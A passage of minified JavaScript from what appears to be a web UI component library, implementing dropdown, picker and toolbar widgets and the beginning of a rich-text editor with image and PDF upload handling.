ype?y.appendChild(w):b.insertBefore(w,b.firstChild),i.options.url&&!e.data?m({url:i.options.url,method:"GET",dataType:"json",success:function(e){e&&o(e,i.options.value)}}):o(i.options.data,i.options.value),i};var y=null,b=null,x=null,w=null,L=null,j=null,E=null;i.getUrl=function(){return i.options.url},i.setUrl=function(e,t){i.options.url=e,m({url:i.options.url,method:"GET",dataType:"json",success:function(e){i.setData(e),"function"==typeof t&&t(i)}})},i.setId=function(e,t){if(i.options.format)n="id";else var n="value";"object"==typeof e?e[n]=t:i.items[e].data[n]=t},i.add=function(e,t){if(!e){var n=1==i.options.autocomplete?i.header.value:"";if(!(e=prompt(c.translate("Add A New Option"),n)))return!1}if(t||(t=r.guid()),i.options.format)o={id:t,name:e};else var o={value:t,text:e};if("function"==typeof i.options.onbeforeinsert){var a=i.options.onbeforeinsert(i,o);if(!1===a)return!1;a&&(o=a)}i.options.data.push(o);var s=i.createItem(o);return x.appendChild(s.element),"function"==typeof i.options.oninsert&&i.options.oninsert(i,o,s),"none"==x.style.display&&(x.style.display=""),i.results&&i.results.push(s),o},i.createItem=function(e,t,n){i.options.format?(e.id||void 0===e.value||(e.id=e.value),e.name||void 0===e.text||(e.name=e.text)):(e.value||void 0===e.id||(e.value=e.id),e.text||void 0===e.name||(e.text=e.name));var o={};if(o.element=document.createElement("div"),o.element.className="jdropdown-item",o.element.indexValue=i.items.length,o.data=e,t&&(o.group=t),e.id&&o.element.setAttribute("id",e.id),1==e.disabled&&o.element.setAttribute("data-disabled",!0),e.tooltip&&o.element.setAttribute("title",e.tooltip),e.image){var a=document.createElement("img");a.className="jdropdown-image",a.src=e.image,e.title||a.classList.add("jdropdown-image-small"),o.element.appendChild(a)}else if(e.icon){var s=document.createElement("span");s.className="jdropdown-icon material-icons",s.innerText=e.icon,e.title||s.classList.add("jdropdown-icon-small"),e.color&&(s.style.color=e.color),o.element.appendChild(s)}else if(e.color){var r=document.createElement("div");r.className="jdropdown-color",r.style.backgroundColor=e.color,o.element.appendChild(r)}if(i.options.format)l=e.name;else var l=e.text;var d=document.createElement("div");if(d.className="jdropdown-description",d.textContent=l||"&nbsp;",e.title){var c=document.createElement("div");c.className="jdropdown-title",c.innerText=e.title,d.appendChild(c)}if(i.options.format)u=e.id;else var u=e.value;return i.value[u]&&(o.element.classList.add("jdropdown-selected"),o.selected=!0),i.items.push(o),o.element.appendChild(d),o},i.appendData=function(e){if(e.length){for(var t=[],n=[],o=0;o<e.length;o++)e[o].group?(n[e[o].group]||(n[e[o].group]=[]),n[e[o].group].push(o)):t.push(o);var a=0,s=Object.keys(n);if(s.length>0)for(o=0;o<s.length;o++){var r=document.createElement("div");r.className="jdropdown-group";var l=document.createElement("div");l.className="jdropdown-group-name",l.textContent=s[o];var d=document.createElement("i");d.className="jdropdown-group-arrow jdropdown-group-arrow-down",l.appendChild(d);var c=document.createElement("div");c.className="jdropdown-group-items";for(var u=0;u<n[s[o]].length;u++){var p=i.createItem(e[n[s[o]][u]],r,s[o]);(0==i.options.lazyLoading||a<200)&&(c.appendChild(p.element),a++)}r.appendChild(l),r.appendChild(c),i.groups.push(r),c.children.length>0&&x.appendChild(r)}if(t.length)for(o=0;o<t.length;o++)p=i.createItem(e[t[o]]),(0==i.options.lazyLoading||a<200)&&(x.appendChild(p.element),a++)}},i.setData=function(e){if(s(),x.textContent="",i.header.value="",i.items=[],e&&e.length){for(var t=0;t<e.length;t++)"object"!=typeof e[t]&&(i.options.format?e[t]={id:e[t],name:e[t]}:e[t]={value:e[t],text:e[t]});i.appendData(e),i.options.data=e}else i.options.data=[];i.close()},i.getData=function(){return i.options.data},i.getPosition=function(e){for(var t=0;t<i.items.length;t++)if(d(t)==e)return t;return!1},i.getText=function(e){var t=g();return e?t:t.join("; ")},i.getValue=function(e){var t=h();return e?t:t.join(";")};var C=function(e){t.value!=i.options.value&&(t.value=i.options.value,"function"==typeof t.oninput&&t.oninput({type:"input",target:t,value:t.value})),"function"==typeof i.options.onchange&&i.options.onchange(t,i,e,i.options.value)};i.setValue=function(e){var t=i.getValue();Array.isArray(e)&&(e=e.join(";")),t!==e&&(l(e),C(t))},i.resetSelected=function(){i.setValue(null)},i.selectIndex=function(e,t){if(e=parseInt(e),i.items&&i.items[e]&&(!0===t||!0!==i.items[e].data.disabled))if(i.setCursor(e,!1),i.options.multiple){var n=i.options.value;i.items[e].selected?(i.items[e].element.classList.remove("jdropdown-selected"),i.items[e].selected=!1,delete i.value[d(e)]):(i.items[e].element.classList.add("jdropdown-selected"),i.items[e].selected=!0,i.value[d(e)]=p(e)),i.options.value=Object.keys(i.value).join(";"),0==i.options.autocomplete&&(i.header.value=g().join("; ")),C(n)}else i.items[e].selected?i.setValue(null):i.setValue(d(e)),i.close()},i.selectItem=function(e){i.selectIndex(e.indexValue)};var T=function(e,t){for(var n=0;n<t.length;n++)if(i.options.format){if(t[n].id==e)return!0}else if(t[n].value==e)return!0;return!1};return i.find=function(e){if(i.search==e.trim())return!1;if(i.search=e,i.setCursor(),i.groups.length)for(var t=0;t<i.groups.length;t++)i.groups[t].lastChild.textContent="";if(x.textContent="",1==i.options.remoteSearch){i.results=null;let t={url:i.options.url,method:"GET",data:{q:e},dataType:"json",success:function(e){i.items=[];var t=Object.keys(i.value);if(t.length)for(var n=0;n<t.length;n++)T(t[n],e)||(i.options.format?e.unshift({id:t[n],name:i.value[t[n]]}):e.unshift({value:t[n],text:i.value[t[n]]}));i.appendData(e),e.length?x.style.display="":x.style.display="none","function"==typeof i.options.onsearch&&i.options.onsearch(i,e)}};if("function"==typeof i.options.onbeforesearch){let e=i.options.onbeforesearch(i,t);if(!1===e)return;"object"==typeof e&&(t=e)}m(t)}else{e=new RegExp(e,"gi");var n=[];for(t=0;t<i.items.length;t++){var o=p(t),a=i.items[t].data.title||"",s=i.items[t].data.group||"",r=i.items[t].data.synonym||"";r&&(r=r.join(" ")),(null==e||1==i.items[t].selected||o.match(e)||a.match(e)||s.match(e)||r.match(e))&&n.push(i.items[t])}if(n.length){x.style.display="",i.results=n;var l=n.length||0;for(1==i.options.lazyLoading&&l>200&&(l=200),t=0;t<l;t++)i.results[t].group?(i.results[t].group.parentNode||x.appendChild(i.results[t].group),i.results[t].group.lastChild.appendChild(i.results[t].element)):x.appendChild(i.results[t].element)}else x.style.display="none",i.results=null}1==i.options.autofocus&&i.first()},i.open=function(){if(!t.classList.contains("jdropdown-focus")){e.current=i,u(i,!0),t.classList.add("jdropdown-focus"),r.getWindowWidth()<800&&(null!=i.options.type&&"picker"!=i.options.type||v.slideBottom(b,1)),1==i.options.autocomplete&&(i.header.value=i.search,i.header.focus());var n=h();if(n[0]){var o=i.getPosition(n[0]);!1!==o&&i.setCursor(o)}if(!i.options.type||"default"==i.options.type){var a=t.getBoundingClientRect(),s=b.getBoundingClientRect();i.options.position?(b.style.position="fixed",window.innerHeight<a.bottom+s.height?(b.style.top="",b.style.bottom=window.innerHeight-a.top+1+"px"):(b.style.top=a.bottom+"px",b.style.bottom=""),b.style.left=a.left+"px"):window.innerHeight<a.bottom+s.height?(b.style.top="",b.style.bottom=a.height+1+"px"):(b.style.top="",b.style.bottom=""),b.style.minWidth=a.width+"px",i.options.maxWidth&&(b.style.maxWidth=i.options.maxWidth),i.items.length||1!=i.options.autocomplete?x.style.display="":x.style.display="none"}}"function"==typeof i.options.onopen&&i.options.onopen(t)},i.close=function(n){return t.classList.contains("jdropdown-focus")&&(i.header.value=i.getText(),i.setCursor(),n||"function"!=typeof i.options.onclose||i.options.onclose(t),i.header.blur&&i.header.blur(),t.classList.remove("jdropdown-focus"),u(i,!1),e.current=null),i.getValue()},i.setCursor=function(e,t){if(null!=i.currentIndex&&i.items&&i.items[i.currentIndex]&&i.items[i.currentIndex].element.classList.remove("jdropdown-cursor"),null==e)i.currentIndex=null;else if(e=parseInt(e),i.items[e].element.parentNode&&(i.items[e].element.classList.add("jdropdown-cursor"),i.currentIndex=e,!1!==t&&i.items[i.currentIndex].element)){x.scrollTop;var n=i.items[i.currentIndex].element;x.scrollTop=n.offsetTop-n.scrollTop+n.clientTop-95}},i.resetCursor=i.setCursor,i.updateCursor=i.setCursor,i.reset=function(){i.setCursor(),i.setValue(null)},i.first=function(){!0===i.options.lazyLoading&&i.loadFirst();var e=x.querySelectorAll(".jdropdown-item");if(e.length){var t=e[0].indexValue;i.setCursor(t)}},i.last=function(){!0===i.options.lazyLoading&&i.loadLast();var e=x.querySelectorAll(".jdropdown-item");if(e.length){var t=e[e.length-1].indexValue;i.setCursor(t)}},i.next=function(e){var t=null;if(e){if(1==e.length){var n=i.currentIndex||-1;e=e.toLowerCase();var o=null,a=null,s=x.querySelectorAll(".jdropdown-item");if(s.length){for(var r=0;r<s.length;r++)if(s[r].indexValue>n&&(o=i.items[s[r].indexValue])&&(a=o.element.innerText[0])&&e==(a=a.toLowerCase())){t=s[r].indexValue;break}i.setCursor(t)}}}else if(null==i.currentIndex||null==i.currentIndex)i.first();else{var l=i.items[i.currentIndex].element,d=l.nextElementSibling;d?(d.classList.contains("jdropdown-group")&&(d=d.lastChild.firstChild),t=d.indexValue):l.parentNode.classList.contains("jdropdown-group-items")&&((d=l.parentNode.parentNode.nextElementSibling)&&(d.classList.contains("jdropdown-group")?d=d.lastChild.firstChild:d.classList.contains("jdropdown-item")?t=d.indexValue:d=null),d&&(t=d.indexValue)),null!==t&&i.setCursor(t)}},i.prev=function(){var e=null;if(null===i.currentIndex)i.first();else{var t=i.items[i.currentIndex].element,n=t.previousElementSibling;n?(n.classList.contains("jdropdown-group")&&(n=n.lastChild.lastChild),e=n.indexValue):t.parentNode.classList.contains("jdropdown-group-items")&&((n=t.parentNode.parentNode.previousElementSibling)&&(n.classList.contains("jdropdown-group")?n=n.lastChild.lastChild:n.classList.contains("jdropdown-item")?e=n.indexValue:n=null),n&&(e=n.indexValue))}null!==e&&i.setCursor(e)},i.loadFirst=function(){if(i.results)var e=i.results;else e=i.items;var t=e.length||0;1==i.options.lazyLoading&&t>200&&(t=200),x.textContent="";for(var n=0;n<t;n++)e[n].group?(e[n].group.parentNode||x.appendChild(e[n].group),e[n].group.lastChild.appendChild(e[n].element)):x.appendChild(e[n].element);x.scrollTop=0},i.loadLast=function(){if(i.results)var e=i.results;else e=i.items;var t=e.length;if(t>200){t-=200,x.textContent="";for(var n=t;n<e.length;n++)e[n].group?(e[n].group.parentNode||x.appendChild(e[n].group),e[n].group.lastChild.appendChild(e[n].element)):x.appendChild(e[n].element);x.scrollTop=x.scrollHeight}},i.loadUp=function(){var e=!1;if(i.results)var t=i.results;else t=i.items;var n=x.querySelectorAll(".jdropdown-item")[0].indexValue;n=i.items[n];var o=t.indexOf(n)-1;if(o>0){for(var a=0;o>0&&t[o]&&a<200;)t[o].group?(t[o].group.parentNode||x.insertBefore(t[o].group,x.firstChild),t[o].group.lastChild.insertBefore(t[o].element,t[o].group.lastChild.firstChild)):x.insertBefore(t[o].element,x.firstChild),o--,a++;e=!0}return e},i.loadDown=function(){var e=!1;if(i.results)var t=i.results;else t=i.items;var n=x.querySelectorAll(".jdropdown-item"),o=n[n.length-1].indexValue;o=i.items[o];var a=t.indexOf(o)+1;if(a<t.length){for(var s=0;a<t.length&&t[a]&&s<200;)t[a].group?(t[a].group.parentNode||x.appendChild(t[a].group),t[a].group.lastChild.appendChild(t[a].element)):x.appendChild(t[a].element),a++,s++;e=!0}return e},function(){if(n||(n={}),"SELECT"==t.tagName){var o=e.extractFromDom(t,n);t=o.el,n=o.options}!n.placeholder&&t.getAttribute("placeholder")&&(n.placeholder=t.getAttribute("placeholder")),i.value={},i.items=[],i.groups=[],i.search="",i.results=null,t.classList.add("jdropdown"),(y=document.createElement("div")).className="jdropdown-container-header",i.header=document.createElement("input"),i.header.className="jdropdown-header jss_object",i.header.type="text",i.header.setAttribute("autocomplete","off"),i.header.onfocus=function(){"function"==typeof i.options.onfocus&&i.options.onfocus(t)},i.header.onblur=function(){"function"==typeof i.options.onblur&&i.options.onblur(t)},i.header.onkeyup=function(e){1!=i.options.autocomplete||E?i.options.autocomplete||i.next(e.key):(i.search!=i.header.value.trim()&&(E=setTimeout((function(){i.find(i.header.value.trim()),E=null}),400)),t.classList.contains("jdropdown-focus")||i.open())},e.hasEvents||(e.hasEvents=!0,document.addEventListener("keydown",e.keydown)),(b=document.createElement("div")).className="jdropdown-container",(x=document.createElement("div")).className="jdropdown-content",(w=document.createElement("div")).className="jdropdown-close",w.textContent="Done",(L=document.createElement("div")).className="jdropdown-reset",L.textContent="x",L.onclick=function(){i.reset(),i.close()},(j=document.createElement("div")).className="jdropdown-backdrop",y.appendChild(i.header),b.appendChild(x),t.appendChild(y),t.appendChild(b),t.appendChild(j),i.setOptions(n),"ontouchsend"in document.documentElement==1?t.addEventListener("touchsend",e.mouseup):t.addEventListener("mouseup",e.mouseup),1==i.options.lazyLoading&&f(x,{loadUp:i.loadUp,loadDown:i.loadDown}),x.onwheel=function(e){e.stopPropagation()},t.change=i.setValue,t.val=function(e){if(void 0===e)return i.getValue(!!i.options.multiple);i.setValue(e)},t.dropdown=i}(),i};return e.keydown=function(t){var n=null;if(n=e.current)if(13==t.which||9==t.which)n.header.value&&null==n.currentIndex&&n.options.newOptions?n.add():(null==n.currentIndex&&1==n.options.autocomplete&&""!=n.header.value&&n.find(n.header.value),n.selectIndex(n.currentIndex));else if(38==t.which)null==n.currentIndex?n.first():n.currentIndex>0&&n.prev(),t.preventDefault();else if(40==t.which)null==n.currentIndex?n.first():n.currentIndex+1<n.items.length&&n.next(),t.preventDefault();else if(36==t.which)n.first(),t.target.classList.contains("jdropdown-header")||t.preventDefault();else if(35==t.which)n.last(),t.target.classList.contains("jdropdown-header")||t.preventDefault();else if(27==t.which)n.close();else if(33==t.which){if(null==n.currentIndex)n.first();else if(n.currentIndex>0)for(var i=0;i<7;i++)n.prev();t.preventDefault()}else if(34==t.which){if(null==n.currentIndex)n.first();else if(n.currentIndex+1<n.items.length)for(i=0;i<7;i++)n.next();t.preventDefault()}},e.mouseup=function(e){var t=r.findElement(e.target,"jdropdown");if(t){var n=t.dropdown;if(e.target.classList.contains("jdropdown-header"))if(t.classList.contains("jdropdown-focus")&&t.classList.contains("jdropdown-default")){var i=t.getBoundingClientRect();if(e.changedTouches&&e.changedTouches[0]){var o=e.changedTouches[0].clientX;e.changedTouches[0].clientY}else o=e.clientX,e.clientY;i.width-(o-i.left)<30?e.target.classList.contains("jdropdown-add")?n.add():n.close():0==n.options.autocomplete&&n.close()}else n.open();else if(e.target.classList.contains("jdropdown-group-name")){var a=e.target.nextSibling.children;if("none"!=e.target.nextSibling.style.display)for(var s=0;s<a.length;s++)"none"!=a[s].style.display&&n.selectItem(a[s])}else e.target.classList.contains("jdropdown-group-arrow")?e.target.classList.contains("jdropdown-group-arrow-down")?(e.target.classList.remove("jdropdown-group-arrow-down"),e.target.classList.add("jdropdown-group-arrow-up"),e.target.parentNode.nextSibling.style.display="none"):(e.target.classList.remove("jdropdown-group-arrow-up"),e.target.classList.add("jdropdown-group-arrow-down"),e.target.parentNode.nextSibling.style.display=""):e.target.classList.contains("jdropdown-item")?n.selectItem(e.target):e.target.classList.contains("jdropdown-image")||e.target.classList.contains("jdropdown-description")?n.selectItem(e.target.parentNode):e.target.classList.contains("jdropdown-title")?n.selectItem(e.target.parentNode.parentNode):(e.target.classList.contains("jdropdown-close")||e.target.classList.contains("jdropdown-backdrop"))&&n.close()}},e.extractFromDom=function(e,t){var n=e;if(t||(t={}),!e.getAttribute("multiple")||t&&null!=t.multiple||(t.multiple=!0),!e.getAttribute("placeholder")||t&&null!=t.placeholder||(t.placeholder=e.getAttribute("placeholder")),!e.getAttribute("data-autocomplete")||t&&null!=t.autocomplete||(t.autocomplete=!0),t&&null!=t.width||(t.width=e.offsetWidth),!e.value||t&&null!=t.value||(t.value=e.value),!t||null==t.data){t.data=[];for(var i=0;i<e.children.length;i++)if("OPTGROUP"==e.children[i].tagName)for(var o=0;o<e.children[i].children.length;o++)t.data.push({value:e.children[i].children[o].value,text:e.children[i].children[o].textContent,group:e.children[i].getAttribute("label")});else t.data.push({value:e.children[i].value,text:e.children[i].textContent})}t&&null!=t.onchange||(t.onchange=function(e,i,o,a){1==t.multiple?obj.items[i].classList.contains("jdropdown-selected")?n.options[i].setAttribute("selected","selected"):n.options[i].removeAttribute("selected"):n.value=a});var a=document.createElement("div");return e.parentNode.insertBefore(a,e),e.style.display="none",{el:e=a,options:t}},e}();function E(e,t){if(e.picker)return e.picker.setOptions(t,!0);var n={type:"picker",options:{}},i=null,o=null,a=function(e){return e instanceof Element||e instanceof HTMLDocument};return n.setOptions=function(e,t){var s={value:0,data:null,render:null,onchange:null,onmouseover:null,onselect:null,onopen:null,onclose:null,onload:null,width:null,header:!0,right:!1,bottom:!1,content:!1,columns:null,grid:null,height:null};for(var r in e&&e.options&&(e.data=e.options),s)e&&e.hasOwnProperty(r)?n.options[r]=e[r]:void 0!==n.options[r]&&!0!==t||(n.options[r]=s[r]);return!1===n.options.header?i.style.display="none":i.style.display="",n.options.width?i.style.width=parseInt(n.options.width)+"px":i.style.width="",n.options.height?(o.style.maxHeight=n.options.height+"px",o.style.overflow="scroll"):o.style.overflow="",n.options.columns>0&&(n.options.grid?(o.classList.add("jpicker-grid"),o.style.gridTemplateColumns="repeat("+n.options.grid+", 1fr)"):(o.classList.add("jpicker-columns"),o.style.width=n.options.width?n.options.width:36*n.options.columns+"px")),isNaN(parseInt(n.options.value))&&(n.options.value=0),function(){o.innerHTML="";for(var e=Object.keys(n.options.data),t=0;t<e.length;t++){var i=document.createElement("div");i.classList.add("jpicker-item"),i.k=e[t],i.v=n.options.data[e[t]];var s=n.getLabel(e[t],i);a(s)?i.appendChild(s):i.innerHTML=s,o.appendChild(i)}}(),n.setValue(n.options.value),n},n.getValue=function(){return n.options.value},n.setValue=function(t,i){if(n.setLabel(t),n.options.value=String(t),e.value!=n.options.value&&(e.value=n.options.value,"function"==typeof e.oninput&&e.oninput({type:"input",target:e,value:e.value})),o.children[t]&&"generic"!==o.children[t].getAttribute("type")&&n.close(),i&&"function"==typeof n.options.onchange){var a=n.options.data[t];n.options.onchange(e,n,a,a,t,i)}},n.getLabel=function(e,t){var i=n.options.data[e]||null;return"function"==typeof n.options.render&&(i=n.options.render(i,t)),i},n.setLabel=function(e){var t;t=n.options.content?'<i class="material-icons">'+n.options.content+"</i>":n.getLabel(e,null),a(t)?(i.innerHTML="",i.appendChild(t)):i.innerHTML=t},n.open=function(){if(!e.classList.contains("jpicker-focus")){u(n,!0),e.classList.add("jpicker-focus"),e.focus();var t,a=0;o.style.marginLeft="";var s=i.getBoundingClientRect(),r=o.getBoundingClientRect();t=window.innerHeight<s.bottom+r.height||n.options.bottom?-1*(r.height+4):s.height+4,!0===n.options.right&&(a=-1*r.width+s.width),r.left+a<0&&(a=a+r.left+10),r.left+r.width>window.innerWidth&&(a=-1*(10+r.left+r.width-window.innerWidth)),o.style.marginTop=parseInt(t)+"px",o.style.marginLeft=parseInt(a)+"px","function"==typeof n.options.onopen&&n.options.onopen(e,n)}},n.close=function(){e.classList.contains("jpicker-focus")&&(e.classList.remove("jpicker-focus"),u(n,!1),"function"==typeof n.options.onclose&&n.options.onclose(e,n))},e.classList.add("jpicker"),e.setAttribute("tabindex","900"),e.onmousedown=function(t){e.classList.contains("jpicker-focus")||n.open()},(i=document.createElement("div")).classList.add("jpicker-header"),(o=document.createElement("div")).classList.add("jpicker-content"),o.onclick=function(e){var t=r.findElement(e.target,"jpicker-item");t&&t.parentNode===o&&n.setValue(t.k,e)},e.appendChild(i),e.appendChild(o),e.value=t.value||0,n.setOptions(t),"function"==typeof n.options.onload&&n.options.onload(e,n),e.change=n.setValue,e.val=function(e){if(void 0===e)return n.getValue();n.setValue(e)},e.picker=n,n}function C(e,t){var n={type:"toolbar",options:{}},i={app:null,container:!1,badge:!1,title:!1,responsive:!1,maxWidth:null,bottom:!0,items:[]};for(var o in i)t&&t.hasOwnProperty(o)?n.options[o]=t[o]:n.options[o]=i[o];!e&&t.app&&t.app.el&&(e=document.createElement("div"),t.app.el.appendChild(e));var a=document.createElement("div");a.classList.add("jtoolbar-item"),a.classList.add("jtoolbar-arrow");var s=document.createElement("div");s.classList.add("jtoolbar-floating"),a.appendChild(s),n.selectItem=function(e){for(var t=l.children,n=0;n<t.length;n++)e!=t[n]&&t[n].classList.remove("jtoolbar-selected");e.classList.add("jtoolbar-selected")},n.hide=function(){v.slideBottom(e,0,(function(){e.style.display="none"}))},n.show=function(){e.style.display="",v.slideBottom(e,1)},n.get=function(){return e},n.setBadge=function(e,t){l.children[e].children[1].firstChild.innerHTML=t},n.destroy=function(){toolbar.remove(),e.innerHTML=""},n.update=function(t,i){for(var o=0;o<l.children.length;o++)"function"==typeof(a=l.children[o]).updateState&&a.updateState(e,n,a,t,i);for(o=0;o<s.children.length;o++){var a;"function"==typeof(a=s.children[o]).updateState&&a.updateState(e,n,a,t,i)}},n.create=function(t){l.innerHTML="";for(var i=0;i<t.length;i++){var o=document.createElement("div");if(o.classList.add("jtoolbar-item"),t[i].width&&(o.style.width=parseInt(t[i].width)+"px"),t[i].k&&(o.k=t[i].k),t[i].tooltip&&o.setAttribute("title",t[i].tooltip),t[i].id&&o.setAttribute("id",t[i].id),t[i].updateState&&(o.updateState=t[i].updateState),t[i].active&&o.classList.add("jtoolbar-active"),t[i].disabled&&o.classList.add("jtoolbar-disabled"),"select"==t[i].type||"dropdown"==t[i].type)E(o,t[i]);else if("divisor"==t[i].type)o.classList.add("jtoolbar-divisor");else if("label"==t[i].type)o.classList.add("jtoolbar-label"),o.innerHTML=t[i].content;else{var a=document.createElement("i");if(void 0===t[i].class)a.classList.add("material-icons");else for(var s=t[i].class.split(" "),r=0;r<s.length;r++)a.classList.add(s[r]);if(a.innerHTML=t[i].content?t[i].content:"",o.appendChild(a),1==n.options.badge){var d=document.createElement("div");d.classList.add("jbadge");var c=document.createElement("div");c.innerHTML=t[i].badge?t[i].badge:"",d.appendChild(c),o.appendChild(d)}if(t[i].title)if(1==n.options.title){var u=document.createElement("span");u.innerHTML=t[i].title,o.appendChild(u)}else o.setAttribute("title",t[i].title);n.options.app&&t[i].route&&(o.route=t[i].route,o.onclick=function(){n.options.app.pages(this.route)},n.options.app.pages(t[i].route,{toolbarItem:o,closed:!0})),"function"==typeof t[i].render&&t[i].render(o,t[i])}t[i].onclick&&(o.onclick=t[i].onclick.bind(t[i],e,n,o)),l.appendChild(o)}setTimeout((function(){n.refresh()}),0)},n.open=function(){a.classList.add("jtoolbar-arrow-selected"),e.getBoundingClientRect(),s.getBoundingClientRect().bottom>window.innerHeight||n.options.bottom?s.style.bottom="0":s.style.removeProperty("bottom"),s.style.right="0",a.children[0].focus(),u(n,!0)},n.close=function(){a.classList.remove("jtoolbar-arrow-selected"),u(n,!1)},n.refresh=function(){if(1==n.options.responsive){var t=e.parentNode.getBoundingClientRect();n.options.maxWidth||(n.options.maxWidth=t.width);var i=parseInt(n.options.maxWidth);for(a.parentNode&&a.parentNode.removeChild(a);s.firstChild;)l.appendChild(s.firstChild);if(i<l.offsetWidth)for(i-=50;l.lastChild&&i<l.offsetWidth;)s.insertBefore(l.lastChild,s.firstChild);s.children.length>0&&l.appendChild(a)}},n.setReadonly=function(t){t=t?"add":"remove",e.classList[t]("jtoolbar-disabled")},e.onclick=function(e){var t=r.findElement(e.target,"jtoolbar-item");t&&n.selectItem(t),e.target.classList.contains("jtoolbar-arrow")&&n.open()},window.addEventListener("resize",(function(){n.refresh()})),e.classList.add("jtoolbar"),e.innerHTML="",1==n.options.container&&e.classList.add("jtoolbar-container");var l=document.createElement("div");return e.appendChild(l),n.options.app&&e.classList.add("jtoolbar-mobile"),n.create(n.options.items),e.toolbar=n,n}var T=function(){var e=function(t,n){var i={type:"editor",options:{}},o={url:null,value:"",snippet:null,toolbar:!0,toolbarOnTop:!1,remoteParser:null,placeholder:null,filterPaste:!0,dropZone:!0,dropAsSnippet:!1,acceptImages:!0,acceptFiles:!1,maxFileSize:5e6,allowImageResize:!0,maxHeight:null,height:null,focus:!1,onclick:null,onfocus:null,onblur:null,onload:null,onkeyup:null,onkeydown:null,onchange:null,extensions:null,type:null};for(var a in o)n&&n.hasOwnProperty(a)?i.options[a]=n[a]:i.options[a]=o[a];var s=null,l=null,d=[];i.el=t,"function"==typeof i.options.onclick&&(t.onclick=function(e){i.options.onclick(t,i,e)}),t.classList.add("jeditor-container");var c=document.createElement("div");c.className="jsnippet",c.setAttribute("contenteditable",!1);var u=document.createElement("div");if(u.className="jeditor-toolbar",i.editor=document.createElement("div"),i.editor.setAttribute("contenteditable",!0),i.editor.setAttribute("spellcheck",!1),i.editor.classList.add("jeditor"),i.options.placeholder&&i.editor.setAttribute("data-placeholder",i.options.placeholder),(i.options.maxHeight||i.options.height)&&(i.editor.style.overflowY="auto",i.options.maxHeight&&(i.editor.style.maxHeight=i.options.maxHeight),i.options.height&&(i.editor.style.height=i.options.height)),i.options.url)m({url:i.options.url,dataType:"html",success:function(t){i.editor.innerHTML=t,e.setCursor(i.editor,"initial"==i.options.focus)}});else if(i.options.value)i.editor.innerHTML=i.options.value;else for(var p=0;p<t.children.length;p++)i.editor.appendChild(t.children[p]);t.innerHTML="";var h=function(e){"function"==typeof i.options.onchange&&i.options.onchange(t,i,e),i.options.value=i.getData(),t.value!=i.options.value&&(t.value=i.options.value,"function"==typeof t.oninput&&t.oninput({type:"input",target:t,value:t.value}))},f=function(){var e=null;if(e=c.children[0]){e.classList.contains("jslider-grid")||e.classList.add("jslider-grid");var t=e.children.length;e.setAttribute("data-number",t>4?4:t),t>4?e.setAttribute("data-total",t-4):e.removeAttribute("data-total")}};i.appendSnippet=function(e){c.innerHTML="";for(var t=["image","title","description","host","url"],n=0;n<t.length;n++){var o=document.createElement("div");if(o.className="jsnippet-"+t[n],o.setAttribute("data-k",t[n]),c.appendChild(o),e[t[n]])if("image"==t[n]){Array.isArray(e.image)||(e.image=[e.image]);for(var a=0;a<e.image.length;a++){var s=document.createElement("img");s.src=e.image[a],o.appendChild(s)}}else o.innerHTML=e[t[n]]}i.editor.appendChild(document.createElement("br")),i.editor.appendChild(c)},i.setData=function(t){i.editor.innerHTML="object"==typeof t?t.content:t,i.options.focus&&e.setCursor(i.editor,!0),d=[]},i.getFiles=function(){for(var e=i.editor.querySelectorAll(".jfile"),t=[],n=0;n<e.length;n++)d[e[n].src]&&t.push(d[e[n].src]);return t},i.getText=function(){return i.editor.innerText},i.getData=function(e){if(e){if(u={content:""},c.innerHTML){u.snippet={};for(var t=0;t<c.children.length;t++){var n=c.children[t].getAttribute("data-k");if(n)if("image"==n){u.snippet.image||(u.snippet.image=[]);for(var o=0;o<c.children[t].children.length;o++)u.snippet.image.push(c.children[t].children[o].getAttribute("src"))}else u.snippet[n]=c.children[t].innerHTML}}var a=Object.keys(d);if(a.length)for(u.files=[],t=0;t<a.length;t++)u.files.push(d[a[t]]);var s=document.createElement("div");s.innerHTML=i.editor.innerHTML;var r=s.querySelector(".jsnippet");r&&r.remove();var l=s.innerHTML;l=(l=(l=l.replace(/<br>/g,"\n")).replace(/<\/div>/g,"</div>\n")).replace(/<(?:.|\n)*?>/gm,""),u.content=l.trim(),H("getData",u)}else var u=i.editor.innerHTML;return u},i.reset=function(){i.editor.innerHTML="",c.innerHTML="",d=[]},i.addPdf=function(e){if("data"!=e.result.substr(0,4))console.error("Invalid source");else{var t=document.createElement("canvas");t.width=60,t.height=60;var n=new Image;t.getContext("2d").drawImage(n,0,0,t.width,t.height),t.toBlob((function(t){var n=document.createElement("img");n.src=window.URL.createObjectURL(t),n.title=e.name,n.className="jfile pdf",d[n.src]={file:n.src,extension:"pdf",content:e.result},document.execCommand("insertHtml",!1,n.outerHTML)}))}},i.addImage=function(e,t){if(e||(e=""),"data"==e.substr(0,4)||i.options.remoteParser){if("data"==e.substr(0,4))n=(n=(n=e.split(";"))[0].split("/"))[1];else{var n=e.substr(e.lastIndexOf(".")+1);e=i.options.remoteParser+e}var o=new Image;o.onload=function(){var e=document.createElement("canvas");e.width=o.width,e.height=o.height,e.getContext("2d").drawImage(o,0,0,e.width,e.height),e.toBlob((function(a){var s,r=document.createElement("img");r.src=window.URL.createObjectURL(a),r.classList.add("jfile"),r.setAttribute("tabindex","900"),r.setAttribute("width",o.width),r.setAttribute("height",o.height),d[r.src]={file:r.src,extension:n,content:e.toDataURL()},i.options.dropAsSnippet||t?(s=r,c.innerHTML||i.appendSnippet({}),c.children[0].appendChild(s),f(),d[r.src].snippet=!0):document.execCommand("insertHtml",!1,r.outerHTML),h()}))},o.src=e}else console.error("remoteParser not defined in your initialization")},i.addFile=function(e){for(var t=[],n=0;n<e.length;n++)if(e[n].size>i.options.maxFileSize)alert("The file is too big");else{var o=e[n].type.split("/");(o="image"==o[0]?1:"pdf"==o[1]?2:0)?(t[n]=new FileReader,t[n].index=n,t[n].type=o,t[n].name=e[n].name,t[n].date=e[n].lastModified,t[n].size=e[n].size,t[n].addEventListener("load",(function(e){2==e.target.type?1==i.options.acceptFiles&&i.addPdf(e.target):i.addImage(e.target.result)}),!1),t[n].readAsDataURL(e[n])):alert("The extension is not 